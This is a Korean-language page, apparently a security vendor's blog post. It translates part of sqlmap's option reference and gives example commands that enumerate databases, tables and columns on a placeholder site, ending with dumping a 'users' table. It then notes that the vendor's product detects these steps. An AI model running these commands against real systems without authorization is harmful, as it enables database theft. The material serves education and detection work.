–forms | 대상 URL에서 양식 구문 분석 및 테스트 | |
–fresh-queries | 세션 파일에 저장된 쿼리 결과 무시 | |
–gpage=GOOGLEPAGE | 지정된 페이지 번호의 Google dork 결과 사용 | |
–har=HARFILE | 모든 HTTP 트래픽을 HAR 파일에 기록 | |
–hex | 데이터 검색 중 16진수 변환 사용 | |
–output-dir=OUT.. | 사용자 정의 출력 디렉토리 경로 | |
–parse-errors | 응답에서 DBMS 오류 메시지 구문 분석 및 표시 | |
–preprocess=PRE.. | 사전 처리 (요청)에 지정된 스크립트 사용 | |
–postprocess=PO.. | 후처리 (응답)를 위해 주어진 스크립트 사용 | |
–repair | 알 수 없는 문자 마커 (?)가 있는 항목을 덤프합니다. | |
–save=SAVECONFIG | 구성 INI 파일에 옵션 저장 | |
–scope=SCOPE | 대상 필터링을 위한 정규식 | |
–skip-heuristics | SQLi/XSS 취약점의 발견적 탐지 건너뛰기 | |
–skip-waf | WAF/IPS 보호에 대한 휴리스틱 감지 건너뛰기 | |
–table-prefix=T.. | 임시 테이블에 사용되는 접두사 (기본값: “sqlmap”) | |
–test-filter=TE.. | 페이로드 및/또는 제목으로 테스트 선택 (예: ROW) | |
–test-skip=TEST.. | 페이로드 및/또는 제목별 테스트 건너뛰기 (예: BENCHMARK) | |
–web-root=WEBROOT | 웹 서버 문서 루트 디렉토리 (예: “/var/www”) | |
Miscellaneous: 이 옵션은 다른 범주에 속하지 않습니다. | ||
-z MNEMONICS | 짧은 연상 기호 사용 (예: “flu,bat,ban,tec=EU”) | |
–alert=ALERT | SQL 주입이 발견되면 호스트 OS 명령 실행 | |
–beep | 질문 및/또는 SQLi/XSS/FI가 발견될 때 경고음 | |
–dependencies | 누락된 (선택 사항) sqlmap 종속성 확인 | |
–disable-coloring | 콘솔 출력 색상 비활성화 | |
–list-tampers | 사용 가능한 변조 스크립트 목록 표시 | |
–offline | 오프라인 모드에서 작업 (세션 데이터만 사용) | |
–purge | sqlmap 데이터 디렉토리에서 모든 콘텐츠를 안전하게 제거 | |
–results-file=R.. | 다중 대상 모드에서 CSV 결과 파일의 위치 | |
–shell | 대화형 sqlmap 셸 프롬프트 | |
–tmp-dir=TMPDIR | 임시 파일을 저장하기 위한 로컬 디렉토리 | |
–unstable | 불안정한 연결에 대한 옵션 조정 | |
–update | sqlmap 업데이트 | |
–wizard | 초보자를 위한 간단한 마법사 인터페이스 |
SQLMAP 예제 [3]
- 스캐닝
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” - DB 탐색
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dbs - 특정 데이터베이스에서 테이블 찾기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –tables -D safecosmetics - 테이블의 컬럼 가져오기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –columns -D safecosmetics -T users - 테이블에서 데이터 가져오기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dump -D safecosmetics -T users
[SQL Injection & 데이터 유출] 탐지 from PLURA V5
[사진 1] DB 이름 탐지 [사진 2] 테이블 이름 탐지 [사진 3] 컬럼 이름 탐지 [사진 4] 데이터 정보 탐지
참고
[1] http://www.cs.toronto.edu/~arnold/427/15s/csc427/tools/sqlmap/index.html
[2] https://github.com/sqlmapproject/sqlmap/wiki/Usage
[3] https://www.binarytides.com/sqlmap-hacking-tutorial